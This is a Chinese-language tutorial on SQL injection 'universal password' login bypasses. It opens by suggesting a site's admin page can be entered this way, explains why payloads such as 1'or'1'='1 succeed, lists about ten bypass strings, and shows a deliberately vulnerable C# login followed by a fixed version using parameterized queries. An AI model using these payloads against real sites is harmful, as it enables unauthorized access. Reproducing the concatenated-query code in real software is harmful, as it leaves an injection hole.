SQL注入之万能密码
SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台
http://www. .com/admin/admin_login.asp
账号:djlfjdslajdfj(随意输入)
密码:1‘or’1’=‘1
1. 用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行SQL语句。用户登录时,后台执行的数据库查询操作(SQL语句)是:【Selectuser_id,user_type,email From users Where user_id=’用户名’ And password=’密码’】。
2.由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名【admin】和万能密码【2’or’1】时,执行的SQL语句为:【Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’or’1’】。3.由于SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。因此,此SQL语句在后台解析时,分成两句:【Select user_id,user_type,email From users Where user_id=’admin’ And password=’2’】和【’1’】,两句bool值进行逻辑or运算,恒为TRUE。SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。
输入用户名【admin】,密码【2’or’1】,即可登录成功。(加粗部分为切入点,其他随意填写)
在网站开发中也有些人是这样做的,T_users是表名,username是数据库中字段名,name和pwd是变量。
“select * form T_users where username=’ “+ name +” ’ “+” and password=’ “+ pwd +” ’ “;
如果变量name赋值为root,pwd变量赋值为root的话,这根本不会有什么问题,和上面一模一样。
即等价于”select * from T_users where username= ‘root’ and password= ‘root’ ”
3.但是如果变量name赋值:随意输入,而pwd被赋值 1 or 1=1 ,
那么整个语句就变成了这个样子:
“select from T_users where username=‘adsfafsf’ and password=‘1 or 1=1’ ”
可以看出,此时整个查询语句返回值始终为true.
万能密码形式:‘or’=‘or’ *
例如:select * from table where username=’’ or ‘=’ or ‘’ and password=’’; //and优先于or,且’=’为真
类似形式还有:
“or”a”=”a
‘)or(‘a’=’a
“)or(“a”=”a
‘or 1=1–
“or 1=1–
‘or”=’
‘or 1=1%00
‘or 1=1/
admin’ or 1=1/*
SQL注入的漏洞源码如下(输入万能密码即可登录)
using System;
using System.Data.SqlClient;
namespace 第一个数据库程序
{
class Program
{
static void Main(string[] args)
{
//解决数据库添加不进去数据,两个mdf问题冲突问题代码,即.
/***************************************************/
string dataDir = AppDomain.CurrentDomain.BaseDirectory;
if (dataDir.EndsWith(@"\bin\Debug\")
|| dataDir.EndsWith(@"\bin\Release\"))
{
dataDir = System.IO.Directory.GetParent(dataDir).Parent.Parent.FullName;
AppDomain.CurrentDomain.SetData("DataDirectory", dataDir);
}
/************************************************/
Console.WriteLine("请输入用户名:");
string user = Console.ReadLine();
Console.WriteLine("请输入密码:");
string pwd = Console.ReadLine();
//与数据库建立连接
using (SqlConnection conn = new SqlConnection(@"Data Source=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\Database1.mdf;Integrated Security=True;User Instance=True"))
{
conn.Open();//打开连接
//创建sql语句命令
using (SqlCommand cmd = conn.CreateCommand())
{
//SQL语句查询命令
cmd.CommandText = " select * from [T_users] where username='"+ user + "'" + "and password='" + pwd + "'" ;
int i = Convert.ToInt32(cmd.ExecuteScalar());//返回第一行第一列的值
if (i > 0)
{
Console.WriteLine("登陆成功!");
}
else
{
Console.WriteLine("登陆失败!");
}
}
}
Console.ReadKey();
}
}
}
修改源码:(万能密码不可用)
using System;
using System.Data.SqlClient;
namespace 第一个数据库程序
{
class Program
{
static void Main(string[] args)
{
//解决数据库添加不进去数据,两个mdf问题冲突问题代码,即.
/***************************************************/
string dataDir = AppDomain.CurrentDomain.BaseDirectory;
if (dataDir.EndsWith(@"\bin\Debug\")
|| dataDir.EndsWith(@"\bin\Release\"))
{
dataDir = System.IO.Directory.GetParent(dataDir).Parent.Parent.FullName;
AppDomain.CurrentDomain.SetData("DataDirectory", dataDir);
}
/************************************************/
Console.WriteLine("请输入用户名:");
string user = Console.ReadLine();
Console.WriteLine("请输入密码:");
string pwd = Console.ReadLine();
//与数据库建立连接
using (SqlConnection conn = new SqlConnection(@"Data Source=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\Database1.mdf;Integrated Security=True;User Instance=True"))
{
conn.Open();//打开连接
//创建SQL命令语句
using (SqlCommand cmd = conn.CreateCommand())
{
//SQL查询语句
cmd.CommandText = "select * from T_users where username=@NAME and password=@PW";
cmd.Parameters.Add(new SqlParameter("NAME", user));//NAME 和PW是参数,名字自己随意取,但必须和上面的一致。
cmd.Parameters.Add(new SqlParameter("PW", pwd));
int i = Convert.ToInt32(cmd.ExecuteScalar());//函数返回第一行第一列的值
if (i > 0)
{
Console.WriteLine("登陆成功!");
}
else
{
Console.WriteLine("登陆失败!");
}
}
}
Console.ReadKey();
}
}
}
注:部分转自百度